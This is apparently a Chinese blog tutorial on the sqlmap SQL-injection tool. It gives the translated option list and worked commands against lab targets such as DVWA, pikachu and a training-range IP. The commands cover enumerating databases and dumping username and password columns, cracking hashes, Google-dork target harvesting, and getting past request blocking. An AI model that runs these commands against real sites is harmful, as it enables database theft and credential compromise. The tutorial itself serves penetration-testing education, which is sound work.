细说——sqlmap

目录

做sql注入,离不开神器sqlmap,由于大多数情况下会需要在windows下安装sqlmap,所以,一个好消息是sqlmap支持pyhton2和python3。
在这里插入图片描述

SqlmapWiki翻译.pdf ——《信安之路》

一些地址

官方中文站点:https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-zh-CN.md
官方常见问题说明:https://github.com/sqlmapproject/sqlmap/wiki/FAQ
sqlmap常见参数说明:sqlmap中文版
sqlmap上手教程:https://blog.csdn.net/fly_hps/category_7663207.html
脑图+使用:https://www.cnblogs.com/bmjoker/p/9326258.html

关于SQLmap

sqlmap 是一种开源渗透测试工具,可自动检测和利用 SQL 注入缺陷并接管数据库服务器的过程。它配备了强大的检测引擎、终极渗透测试仪的许多利基功能,以及广泛的交换机,包括数据库指纹、从数据库获取数据、访问基础文件系统以及通过带外连接在操作系统上执行命令。

5种漏洞检测技术

  1. 基于布尔的盲注检测:
    • 根据返回的页面判断条件真假的注入
  2. 基于时间的盲注检测:
    • 用条件语句查看时间延迟语句是否执行(即页面返回时间时候增加)来判断
  3. 基于报错的注入:
    • 即页面会返回错误信息,或者把注入的语句的结果直接返回在页面种
  4. 基于UNON联合查询的注入:
    • 适用于通过循环直接输出联合查询结果,否则只显示第一项结果
  5. 基于堆叠查询的检测:
    • 堆叠多个查询语句
    • 适用于非 selec的数据修改、删除的操作

更多

更多特性,请参见其官网的描述https://sqlmap.org/
在这里插入图片描述

sqlmap参数

用法:python sqlmap.py [选项]

选项:
  -h, --help            显示基本帮助信息并退出
  -hh                   显示高级帮助信息并退出
  --version             显示程序版本信息并退出
  -v VERBOSE            输出信息详细程度级别:0-6(默认为 10:只显示Python回源(tracebacks),错误(error)和关键(criticle)信息。
  1:同时显示信息(info)和警告信息(warning)(默认为1)
  2: 同时显示调试信息(debug)
  3:同时显示注入的有效载荷(payloads)
  4:同时显示http请求
  5:同时显示http响应头
  6:同时显示http响应内容

  目标:
      至少提供一个以下选项以指定目标

    -d DIRECT           直接连接数据库
    -u URL, --url=URL   目标 URL(例如:"http://www.site.com/vuln.php?id=1")
    -l LOGFILE          从 Burp 或 WebScarab 代理的日志文件中解析目标地址
    -x SITEMAPURL       从远程网站地图(.xml)文件中解析目标
    -m BULKFILE         从文本文件中获取批量目标
    -r REQUESTFILE      从文件中读取 HTTP 请求
    -g GOOGLEDORK       使用 Google dork 结果作为目标
    -c CONFIGFILE       从 INI 配置文件中加载选项

  请求:
      以下选项可以指定连接目标地址的方式

    --method=METHOD     强制使用提供的 HTTP 方法(例如:PUT)
    --data=DATA         使用 POST 发送数据串
    --param-del=PARA..  设置参数值分隔符
    --cookie=COOKIE     指定 HTTP Cookie 
    --cookie-del=COO..  设置 cookie 分隔符
    --load-cookies=L..  指定以 Netscape/wget 格式存放 cookies 的文件
    --drop-set-cookie   忽略 HTTP 响应中的 Set-Cookie 参数
    --user-agent=AGENT  指定 HTTP User-Agent
    --random-agent      使用随机的 HTTP User-Agent
    --host=HOST         指定 HTTP Host
    --referer=REFERER   指定 HTTP Referer
    -H HEADER, --hea..  设置额外的 HTTP 头参数(例如:"X-Forwarded-For: 127.0.0.1")
    --headers=HEADERS   设置额外的 HTTP 头参数(例如:"Accept-Language: fr\nETag: 123")
    --auth-type=AUTH..  HTTP 认证方式(Basic,Digest,NTLM 或 PKI)
    --auth-cred=AUTH..  HTTP 认证凭证(username:password)
    --auth-file=AUTH..  HTTP 认证 PEM 证书/私钥文件
    --ignore-code=IG..  忽略 HTTP 错误码(例如:401)
    --ignore-proxy      忽略系统默认代理设置
    --ignore-redirects  忽略重定向尝试
    --ignore-timeouts   忽略连接超时
    --proxy=PROXY       使用代理连接目标 URL
    --proxy-cred=PRO..  使用代理进行认证(username:password)
    --proxy-file=PRO..  从文件中加载代理列表
    --tor               使用 Tor 匿名网络
    --tor-port=TORPORT  设置 Tor 代理端口代替默认端口
    --tor-type=TORTYPE  设置 Tor 代理方式(HTTP,SOCKS4 或 SOCKS5(默认))
    --check-tor         检查是否正确使用了 Tor
    --delay=DELAY       设置每个 HTTP 请求的延迟秒数
    --timeout=TIMEOUT   设置连接响应的有效秒数(默认为 30)
    --retries=RETRIES   连接超时时重试次数(默认为 3)
    --randomize=RPARAM  随机更改给定的参数值
    --safe-url=SAFEURL  测试过程中可频繁访问且合法的 URL 地址(译者注:
                        有些网站在你连续多次访问错误地址时会关闭会话连接,
                        后面的“请求”小节有详细说明)
    --safe-post=SAFE..  使用 POST 方法发送合法的数据
    --safe-req=SAFER..  从文件中加载合法的 HTTP 请求
    --safe-freq=SAFE..  每访问两次给定的合法 URL 才发送一次测试请求
    --skip-urlencode    不对 payload 数据进行 URL 编码
    --csrf-token=CSR..  设置网站用来反 CSRF 攻击的 token
    --csrf-url=CSRFURL  指定可提取反 CSRF 攻击 token 的 URL
    --force-ssl         强制使用 SSL/HTTPS
    --hpp               使用 HTTP 参数污染攻击
    --eval=EVALCODE     在发起请求前执行给定的 Python 代码(例如:
                        "import hashlib;id2=hashlib.md5(id).hexdigest()")

  优化:
    以下选项用于优化 sqlmap 性能

    -o                  开启所有优化开关
    --predict-output    预测常用请求的输出
    --keep-alive        使用持久的 HTTP(S) 连接
    --null-connection   仅获取页面大小而非实际的 HTTP 响应
    --threads=THREADS   设置 HTTP(S) 请求并发数最大值(默认为 1)

  注入:
    以下选项用于指定要测试的参数,
    提供自定义注入 payloads 和篡改参数的脚本

    -p TESTPARAMETER    指定需要测试的参数
    --skip=SKIP         指定要跳过的参数
    --skip-static       指定跳过非动态参数
    --param-exclude=..  用正则表达式排除参数(例如:"ses")
    --dbms=DBMS         指定 DBMS 类型(例如:MySQL)
    --dbms-cred=DBMS..  DBMS 认证凭据(username:password)
    --os=OS             指定 DBMS 服务器的操作系统类型
    --invalid-bignum    将无效值设置为大数
    --invalid-logical   对无效值使用逻辑运算
    --invalid-string    对无效值使用随机字符串
    --no-cast           关闭 payload 构造机制
    --no-escape         关闭字符串转义机制
    --prefix=PREFIX     注入 payload 的前缀字符串
    --suffix=SUFFIX     注入 payload 的后缀字符串
    --tamper=TAMPER     用给定脚本修改注入数据

  检测:
    以下选项用于自定义检测方式

    --level=LEVEL       设置测试等级(1-5,默认为 1)
    --risk=RISK         设置测试风险等级(1-3,默认为 1)
    --string=STRING     用于确定查询结果为真时的字符串
    --not-string=NOT..  用于确定查询结果为假时的字符串
    --regexp=REGEXP     用于确定查询结果为真时的正则表达式
    --code=CODE         用于确定查询结果为真时的 HTTP 状态码
    --text-only         只根据页面文本内容对比页面
    --titles            只根据页面标题对比页面

  技术:
    以下选项用于调整特定 SQL 注入技术的测试方法

    --technique=TECH    使用的 SQL 注入技术(默认为“BEUSTQ”,译者注:
                        B: Boolean-based blind SQL injection(布尔型盲注)
                        E: Error-based SQL injection(报错型注入)
                        U: UNION query SQL injection(联合查询注入)
                        S: Stacked queries SQL injection(堆查询注入)
                        T: Time-based blind SQL injection(时间型盲注)
                        Q: inline Query injection(内联查询注入)
    --time-sec=TIMESEC  延迟 DBMS 的响应秒数(默认为 5)
    --union-cols=UCOLS  设置联合查询注入测试的列数目范围
    --union-char=UCHAR  用于暴力猜解列数的字符
    --union-from=UFROM  设置联合查询注入 FROM 处用到的表
    --dns-domain=DNS..  设置用于 DNS 渗出攻击的域名(译者注:
                        推荐阅读《在SQL注入中使用DNS获取数据》
                        http://cb.drops.wiki/drops/tips-5283.html,
                        在后面的“技术”小节中也有相应解释)
    --second-order=S..  设置二阶响应的结果显示页面的 URL(译者注:
                        该选项用于二阶 SQL 注入)

  指纹识别:
    -f, --fingerprint   执行广泛的 DBMS 版本指纹识别

  枚举:
      以下选项用于获取后端数据库管理系统的信息,结构和数据表中的数据。
      此外,还可以运行你输入的 SQL 语句

    -a, --all           获取所有信息、数据
    -b, --banner        获取 DBMS banner
    --current-user      获取 DBMS 当前用户
    --current-db        获取 DBMS 当前数据库
    --hostname          获取 DBMS 服务器的主机名
    --is-dba            探测 DBMS 当前用户是否为 DBA(数据库管理员)
    --users             枚举出 DBMS 所有用户
    --passwords         枚举出 DBMS 所有用户的密码哈希
    --privileges        枚举出 DBMS 所有用户特权级
    --roles             枚举出 DBMS 所有用户角色
    --dbs               枚举出 DBMS 所有数据库
    --tables            枚举出 DBMS 数据库中的所有表
    --columns           枚举出 DBMS 表中的所有列
    --schema            枚举出 DBMS 所有模式
    --count             获取数据表数目
    --dump              导出 DBMS 数据库表项
    --dump-all          导出所有 DBMS 数据库表项
    --search            搜索列,表和/或数据库名
    --comments          获取 DBMS 注释
    -D DB               指定要枚举的 DBMS 数据库
    -T TBL              指定要枚举的 DBMS 数据表
    -C COL              指定要枚举的 DBMS 数据列
    -X EXCLUDECOL       指定要排除的 DBMS 数据列
    -U USER             指定枚举的 DBMS 用户
    --exclude-sysdbs    枚举所有数据表时,指定排除特定系统数据库
    --pivot-column=P..  指定主列
    --where=DUMPWHERE   在转储表时使用 WHERE 条件语句
    --start=LIMITSTART  指定要导出的数据表条目开始行数
    --stop=LIMITSTOP    指定要导出的数据表条目结束行数
    --first=FIRSTCHAR   指定获取返回查询结果的开始字符位
    --last=LASTCHAR     指定获取返回查询结果的结束字符位
    --sql-query=QUERY   指定要执行的 SQL 语句
    --sql-shell         调出交互式 SQL shell
    --sql-file=SQLFILE  执行文件中的 SQL 语句

  暴力破解:
    以下选项用于暴力破解测试

    --common-tables     检测常见的表名是否存在
    --common-columns    检测常用的列名是否存在

  用户自定义函数注入:
    以下选项用于创建用户自定义函数

    --udf-inject        注入用户自定义函数
    --shared-lib=SHLIB  共享库的本地路径

  访问文件系统:
    以下选项用于访问后端数据库管理系统的底层文件系统

    --file-read=RFILE   读取后端 DBMS 文件系统中的文件
    --file-write=WFILE  写入后端 DBMS 文件系统中的文件
    --file-dest=DFILE   使用文件绝对路径写入到后端 DBMS

  访问操作系统:
    以下选项用于访问后端数据库管理系统的底层操作系统

    --os-cmd=OSCMD      执行操作系统命令
    --os-shell          调出交互式操作系统 shell
    --os-pwn            调出 OOB shell,Meterpreter 或 VNC
    --os-smbrelay       一键调出 OOB shell,Meterpreter 或 VNC
    --os-bof            利用存储过程的缓冲区溢出
    --priv-esc          数据库进程用户提权
    --msf-path=MSFPATH  Metasploit 框架的本地安装路径
    --tmp-path=TMPPATH  远程临时文件目录的绝对路径

  访问 Windows 注册表:
    以下选项用于访问后端数据库管理系统的 Windows 注册表

    --reg-read          读取一个 Windows 注册表键值
    --reg-add           写入一个 Windows 注册表键值数据
    --reg-del           删除一个 Windows 注册表键值
    --reg-key=REGKEY    指定 Windows 注册表键
    --reg-value=REGVAL  指定 Windows 注册表键值
    --reg-data=REGDATA  指定 Windows 注册表键值数据
    --reg-type=REGTYPE  指定 Windows 注册表键值类型

  通用选项:
    以下选项用于设置通用的参数

    -s SESSIONFILE      从文件(.sqlite)中读入会话信息
    -t TRAFFICFILE      保存所有 HTTP 流量记录到指定文本文件
    --batch             从不询问用户输入,使用默认配置
    --binary-fields=..  具有二进制值的结果字段(例如:"digest")
    --check-internet    在访问目标之前检查是否正常连接互联网
    --crawl=CRAWLDEPTH  从目标 URL 开始爬取网站
    --crawl-exclude=..  用正则表达式筛选爬取的页面(例如:"logout")
    --csv-del=CSVDEL    指定输出到 CVS 文件时使用的分隔符(默认为“,”)
    --charset=CHARSET   指定 SQL 盲注字符集(例如:"0123456789abcdef")
    --dump-format=DU..  导出数据的格式(CSV(默认),HTML 或 SQLITE)
    --encoding=ENCOD..  指定获取数据时使用的字符编码(例如:GBK)
    --eta               显示每个结果输出的预计到达时间
    --flush-session     清空当前目标的会话文件
    --forms             解析并测试目标 URL 的表单
    --fresh-queries     忽略存储在会话文件中的查询结果
    --har=HARFILE       将所有 HTTP 流量记录到一个 HAR 文件中
    --hex               获取数据时调用 DBMS 的 hex 函数
    --output-dir=OUT..  自定义输出目录路径
    --parse-errors      从响应中解析并显示 DBMS 错误信息
    --save=SAVECONFIG   将选项设置保存到一个 INI 配置文件
    --scope=SCOPE       用正则表达式从提供的代理日志中过滤目标
    --test-filter=TE..  根据 payloads 和/或标题(例如:ROW)选择测试
    --test-skip=TEST..  根据 payloads 和/或标题(例如:BENCHMARK)跳过部分测试
    --update            更新 sqlmap

  其他选项:
    -z MNEMONICS        使用短助记符(例如:“flu,bat,ban,tec=EU”)
    --alert=ALERT       在找到 SQL 注入时运行 OS 命令
    --answers=ANSWERS   设置问题答案(例如:“quit=N,follow=N”)
    --beep              出现问题提醒或在发现 SQL 注入时发出提示音
    --cleanup           指定移除 DBMS 中的特定的 UDF 或者数据表
    --dependencies      检查 sqlmap 缺少什么(非核心)依赖
    --disable-coloring  关闭彩色控制台输出
    --gpage=GOOGLEPAGE  指定页码使用 Google dork 结果
    --identify-waf      针对 WAF/IPS/IDS 保护进行彻底的测试
    --mobile            使用 HTTP User-Agent 模仿智能手机
    --offline           在离线模式下工作(仅使用会话数据)
    --purge-output      安全地删除输出目录的所有内容
    --skip-waf          跳过启发式检测 WAF/IPS/IDS 保护
    --smart             只有在使用启发式检测时才进行彻底的测试
    --sqlmap-shell      调出交互式 sqlmap shell
    --tmp-dir=TMPDIR    指定用于存储临时文件的本地目录
    --web-root=WEBROOT  指定 Web 服务器根目录(例如:"/var/www")
    --wizard            适合初级用户的向导界面

常用命令

指定某个url进行测试

sqlmap -u http://sqlmap.com/index.php?id=1 -v 1
sqlmap -u "http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -v 1

  • -u 和–url参数含义一样,如果url地址中存在&符号,需要添加把url放在双引号内
  • -v 表示 输出信息详细程度级别:0-6(默认为 1)

GET型

格式: python .\sqlmap.py -u "url地址"

 python .\sqlmap.py -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2"

POST型

  1. 抓包

在这里插入图片描述

  1. 格式:python .\sqlmap.py -u "url地址" --data="请求体"

在这里插入图片描述

这里,我可以很快的获取到注入结果,是因为之前注入过,有缓存。如果不想用之前缓存的session文件,可以使用参数:--flush-session。 会清空之前的session,重新测试该目标。
格式:python .\sqlmap.py -u "url地址" --data="请求体" --flush-session
在这里插入图片描述

需要登录cookie型

相关参数: --cookie--load-cookies--drop-set-cookie

  1. 如果你不想接受Set-Cookie,可以使用--drop-set-cookie参数来拒接。
  2. 当使用--cookie参数时,当页面返回一个Set-Cookie头的时候,sqlmap会询问你用哪个cookie来继续接下来的请求。当–level的参数设定为2或者2以上的时候,sqlmap会尝试注入Cookie参数。

这里以DVWA靶场为例。如果直接跑sqlmap的话会出现一个302跳转,最后会因为无法登录到指定页面导致注入失败。
在这里插入图片描述

这个时候就需要指定一下cookie就行了。可以使用BurpSuite获取cookie,或者直接使用浏览器。
在这里插入图片描述

使用命令:

格式:sqlmap -u "url地址" --cookie="cookie内容"

sqlmap -u "http://192.168.239.132/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=75bindmdattsl755feob04a1r6"

如下图,这个时候就没有302跳转了,可以直接注入了。
在这里插入图片描述

指定测试的参数

用到了-p参数。
在存在多个参数的情况下,可以通过-p参数指定自己想要测试的参数。加快检测速度。
在这里插入图片描述

检测cookie注入

用到参数:--level=LEVEL 设置测试等级(1-5,默认为 1)
当等级为3的时候就会检测cookie注入。另外,为了防止缓存影响测试效果,建议加上--flush-session
命令如下:

sqlmap -u "http://192.168.239.132/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=75bindmdattsl755feob04a1r6" --level 3 --flush-session

参数拆分字符

参数:--param-del
当GET或POST的数据需要用其他字符分割测试参数的时候,需要用到此参数。
举个例子:
下面命令中的--param-del=";"旨在指明请求体的内容--data="query=foobar;id=1"是用;分割的。

sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users

从文件中加载HTTP请求测试

GET型

  1. 截获数据包

在这里插入图片描述

  1. 保存为txt文件

在这里插入图片描述

  1. sqlmap跑

python .\sqlmap.py -r "C:\Users\asuka\Desktop\GET型.txt"
在这里插入图片描述

POST型

  1. 截获数据包

在这里插入图片描述

  1. 把截获的数据包内容保存为txt
  2. 跑sqlmap

这里用到参数 --data,此参数是把数据以post方式提交,sqlmap会自动检测post参数

python .\sqlmap.py -r "C:\Users\asuka\Desktop\POST型.txt" --data="id=1&submit=%E6%9F%A5%E8%AF%A2"

在这里插入图片描述

从文本中获取多个目标扫描

sqlmap -m url.txt

http://192.168.239.132/pikachu-master/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2
http://192.168.239.132/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#

在这里插入图片描述

从谷歌引擎搜索结果扫描

sqlmap可以测试google搜索结果中的get参数

python sqlmap.py -g "inurl:\".php?id=1\""

测试时常用的参数

指定参数

参数:-p--skip
sqlmap默认测试所有的GET和POST参数,当--level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。但是你可以手动用-p参数设置想要测试的参数。例如:-p "id,user-anget"

当你使用–level的值很大但是有个别参数不想测试的时候可以使用--skip参数。
例如:--skip="user-angent.referer"

在有些时候web服务器使用了URL重写,导致无法直接使用sqlmap测试参数,可以在想测试的参数后面加*
例如:
python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"
sqlmap将会测试value1的位置是否可注入。

指定数据库

参数:--dbms
默认情况下,sqlmap会自动的探测web应用后端的数据库是什么,sqlmap支持的数据库有:
MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAPMaxDB、DB2

指定数据库服务器系统

参数:--os
默认情况下sqlmap会自动的探测数据库服务器系统,支持的系统有:Linux、Windows。

指定无效的大数字

参数:--invalid-bignum
当你想指定一个报错的数值时,可以使用这个参数,例如默认情况系id=13,sqlmap会变成id=-13来报错,你可以指定比如id=9999999来报错。

指定无效的逻辑

参数:--invalid-logical
原因同上,可以指定id=13把原来的id=-13的报错改成id=13 AND 18=19

注入payload

参数:--prefix--suffix
在有些环境中,需要在注入的payload的前面或者后面加一些字符,来保证payload的正常执行。
例如,代码中是这样调用数据库的:

$query = "SELECT * FROM users WHERE id=('" . $_GET[’id’] . "') LIMIT 0, 1";

这时你就需要–prefix和–suffix参数了:

python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"

这样执行的SQL语句变成:

$query = "SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1";

列出数据时常用的参数

数据库版本

参数:-b--banner
大多数的数据库系统都有一个函数可以返回数据库的版本号,通常这个函数是version()或者变量@@version,这主要取决与是什么数据库。
举例:

sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -b

在这里插入图片描述

用户

参数:-current-user
在大多数据库中可以获取到管理数据的用户。
举例:

sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -current-user --batch

在这里插入图片描述

获取所有库

参数:--dbs
当前用户有权限读取包含所有数据库列表信息的表中的时候,即可列出所有的数据库。
在这里插入图片描述

当前数据库

参数:--current-db
返还当前连接的数据库。
命令:

sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch --current-db

在这里插入图片描述

当前用户是否为管理员

参数:--is-dba
判断当前的用户是否为管理,是的话会返回True
命令:

sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch --is-dba

在这里插入图片描述

列数据库用户

参数:--users
当前用户有权限读取包含所有用户的表的权限时,就可以列出所有数据库用户。
命令:

sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch --users

在这里插入图片描述

列出并破解数据库用户的hash

参数:--passwords
当前用户有权限读取包含用户密码表权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。
命令:

sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch --passwords

在这里插入图片描述

列出数据库管理员权限

参数:--privileges
当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的权限,sqlmap将会告诉你哪个是数据库的超级管理员。也可以用-U参数指定你想看哪个用户的权限。
在这里插入图片描述

列出数据库管理员角色

参数:--roles
当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的角色,也可以用-U参数指定你想看哪个用户的角色。
仅适用于当前数据库是Oracle的时候。

列举数据库系统的架构

参数:--schema--exclude-sysdbs
用户可以用此参数获取数据库的架构,包含所有的数据库,表和字段,以及各自的类型。加上--exclude-sysdbs参数,将不会获取数据库自带的系统库内容。
命令:

sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --schema --batch --exclude-sysdbs

在这里插入图片描述

获取表

参数:--tables--exclude-sysdbs-D
当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出一个特定数据的所有表。如果你不提供-D参数来列指定的一个数据的时候,sqlmap会列出数据库所有库的所有表。

  • --exclude-sysdbs参数是指包含了所有的系统数据库。
  • 需要注意的是在Oracle中你需要提供的是TABLESPACE_NAME而不是数据库名称。

命令:

sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch --tables -D pikachu

在这里插入图片描述

获取表中数据个数

参数:--count
有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数。
命令:

sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch --count -D pikachu

在这里插入图片描述

获取列名

需要指定数据库、表,然后使用--columns获取列名

sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch  -D pikachu -T users --columns

在这里插入图片描述

如果不写-T users,就会获取某个库的所有表的所有字段。
在这里插入图片描述

获取整个表的数据

参数:--dump-C-T-D--start--stop--first--last
如果当前管理员有权限读取数据库其中的一个表的话,那么就能获取真个表的所有内容。
使用-D、-T参数指定想要获取哪个库的哪个表,不使用-D参数时,默认使用当前库。
命令:

sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch --dump -T users -D pikachu

在这里插入图片描述

  1. 获取指定库:所有表,所有字段内容
sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch  -D pikachu -tables --columns --dump

在这里插入图片描述

  1. 获取指定表的:所有字段内容

注意到,相较于上文,-tables变成了-T users

sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch  -D pikachu -T users --columns --dump

在这里插入图片描述

  1. 获取指定表、指定字段的内容

注意到,相较于上文,--columns变成了-C "username,password"

sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch  -D pikachu -T users -C "username,password" --dump

在这里插入图片描述

获取指定条数

  1. 获取总条数

使用参数: --count

sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch  -D pikachu -T users -C "username,password" --dump --count

在这里插入图片描述

  1. 获取指定条数

使用参数:--start--stop

sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch  -D pikachu -T users -C "username,password" --dump  --start 1 --stop 2

在这里插入图片描述

其他命令

修改User-Agent

参数:--user-agent--random-agent
方法参见之前的文章:https://www.yuque.com/u1881995/pborfs/xqxa4w#GYkfF

HTTP Referer头

参数:--referer
sqlmap可以在请求中伪造HTTP中的referer,当–level参数设定为3或者3以上的时候会尝试对referer注入。

额外的HTTP头

参数:--headers
可以通过–headers参数来增加额外的http头

HTTP(S)代理

参数:--proxy--proxy-cred--ignore-proxy
使用–proxy代理是格式为:http://url:port
当HTTP(S)代理需要认证时,可以使用--proxy-cred参数:username:password。
--ignore-proxy拒绝使用本地局域网的HTTP(S)代理。

HTTP请求延迟

参数:--delay
可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的。

设定超时时间

参数:--timeout
可以设定一个HTTP(S)请求超过多久判定为超时,10.5表示10.5秒,默认是30秒。

设定重试超时

参数:--retries
当HTTP(S)超时时,可以设定重新尝试连接次数,默认是3次。

设定随机改变的参数值

参数:--randomize
可以设定某一个参数值在每一次请求中随机的变化,长度和类型会与提供的初始值一样。

利用正则过滤目标网址

参数:--scope
python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"

避免过多的错误请求被屏蔽

参数:--safe-url--safe-freq
有的web应用程序会在你多次访问错误的请求时屏蔽掉你以后的所有请求,这样在sqlmap进行探测或者注入的时候可能造成错误请求而触发这个策略,导致以后无法进行。绕过这个策略有两种方式:
1、–safe-url:提供一个安全不错误的连接,每隔一段时间都会去访问一下。
2、–safe-freq:提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接。

关掉URL参数值编码

参数:--skip-urlencode
根据参数位置,它的值默认将会被URL编码,但是有些时候后端的web服务器不遵守RFC标准,只接受不经过URL编码的值,这时候就需要用–skip-urlencode参数。

简单使用

小结如下:

sqlmap -u url          -u:指定注入点
sqlmap -u url --dbs    --dbs: 跑库名
sqlmap -u url --tables    --tables: 跑表名
sqlmap -u url -D 库名 --tables    指定库跑表名
sqlmap -u url -D 库名 -T 表名  --columns    指定库和表跑字段
sqlmap -u url -D 库名 -T 表名 -C 字段名  --dump    指定库表和字段枚举数据

判断注入点权限

方法1:使用--privileges
使用sqlmap判断一个数据库是不是高权限注入点
命令:sqlmap -u http://219.153.49.228:49337/new_list.php?id=1 --privileges
在这里插入图片描述

方法2:使用--is-dba
在这里插入图片描述

获取库-表-列-数据

需要数据库是有高权限注入点的

1. 获取站点的数据库

命令:sqlmap -u http://219.153.49.228:49337/new_list.php?id=1 --dbs
在这里插入图片描述

1.1 获取当前网站的数据库

命令:sqlmap -u http://219.153.49.228:49337/new_list.php?id=1 --current-db
在这里插入图片描述

2. 获取所有数据库的-所有表的-表名

命令:sqlmap -u http://219.153.49.228:49337/new_list.php?id=1 --tables
在这里插入图片描述

2.1 获取指定数据库的-所有表的-表名

命令:sqlmap -u http://219.153.49.228:49337/new_list.php?id=1 --tables -D “mozhe_Discuz_StormGroup”
在这里插入图片描述

3. 获取指定数据库的-指定表的-所有列的-列名

命令:
sqlmap -u http://219.153.49.228:49337/new_list.php?id=1 --columns --tables -D “mozhe_Discuz_StormGroup”
在这里插入图片描述

3.1 获取指定数据库的-指定表的-指定列的-所有列名

命令:sqlmap -u http://219.153.49.228:49337/new_list.php?id=1 --columns --tables -T “StormGroup_member” -D “mozhe_Discuz_StormGroup”
在这里插入图片描述

4. 拿数据

命令:sqlmap -u http://219.153.49.228:49337/new_list.php?id=1 --dump -C “name,password” --columns --tables -T “StormGroup_member” -D “mozhe_Discuz_StormGroup”
在这里插入图片描述

实战技巧

1. 检测注入

GET型参见上文:https://www.yuque.com/u1881995/pborfs/abgfag#W83JV
POST型参见上文:https://www.yuque.com/u1881995/pborfs/abgfag#BLugp
在这里插入图片描述

2. 获取敏感信息

确定存在注入之后 接着通过获取敏感信息命令 获取

  • –current-user 用户连接的用户
  • –currnet-db 当前库
  • –is-dba 是否root权限
  • –passwords 获取数据库的密码(使用这个命令 sqlmap找到密文时,会提示你是否进行hash破解 如果需要选择合适的字典)
sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch  --dbms mysql --current-user --current-db --is-dba --passwords

在这里插入图片描述

3. 指定注入方式

SQLmap支持多种注入检测,默认是测试全部。有时候我们需要手动指定注入方式,提高检测速度。
用到参数:--technique,参数的值有以下6种
● B:Boolean-basedblindSQLinjection(布尔型注入)
● E:Error-basedSQLinjection(报错型注入)
● U:UNIONquerySQLinjection(可联合查询注入)
● S:StackedqueriesSQLinjection(可多语句查询注入)
● T:Time-basedblindSQLinjection(基于时间延迟注入)
● Q:InlineSQLInjection(内联注入)
举个例子:

  1. 单一检测延时注入
sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch -v 3 -D pikachu --technique=T

在这里插入图片描述

  1. 同时做多种检测
sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch -v 3 -D pikachu --technique=BEUT

在这里插入图片描述

4. 使用随机User-Agent

sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch -v 3 -D pikachu --random-agent

5. 修改时间盲注的时间

使用时间注时,修改--time-sec参数设置延时的返回时间,默认是五秒

sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch -v 3 -D pikachu --technique=T --time-sec=6

在这里插入图片描述

6. 修改超时时间

